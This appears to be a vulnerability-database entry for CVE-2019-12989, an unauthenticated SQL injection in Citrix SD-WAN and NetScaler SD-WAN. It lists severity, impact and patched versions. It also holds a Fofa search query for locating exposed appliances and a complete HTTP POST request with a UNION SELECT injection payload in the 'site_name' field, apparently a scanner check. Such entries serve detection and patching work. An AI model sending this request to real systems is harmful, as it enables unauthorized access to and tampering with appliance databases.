| Title | Citrix SD-WAN and NetScaler SD-WAN - SQL Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Successful exploitation may allow a remote unauthenticated attacker to execute SQL commands on the system, potentially resulting in unauthorized access, data leakage, modification of critical data, or full compromise of the SD-WAN appliance. |
| Remediation | Apply the vendor patch: upgrade Citrix SD-WAN to version 10.2.3 or later, and NetScaler SD-WAN to version 10.0.8 or later as detailed in the official Citrix advisory. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91054 |
| CVE ID | CVE-2019-12989 |
| CWE ID | CWE-89 |
| Fofa Query | (title="citrix sd-wan") && icon_hash="177980953" |
| Tags | cve cve2019 citrix sqli kev vkev |
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 contain an SQL injection vulnerability. An unauthenticated attacker can exploit improper validation of input in specific components, which could allow for execution of arbitrary SQL queries against the backend database. This could result in information disclosure, manipulation of data, or complete compromise of affected systems.
POST /sdwan/nitro/v1/config/get_package_file?action=file_download HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.4 (x64 de)
Connection: close
Content-Length: 137
Content-Type: application/json
SSL_CLIENT_VERIFY: SUCCESS
Accept-Encoding: gzip
{"get_package_file": {"site_name": "test' union select md5(8234), 'x', 'y', 'z' #","appliance_type": "primary","package_type": "active"}}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12989.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-12989.pcap
N/AN/A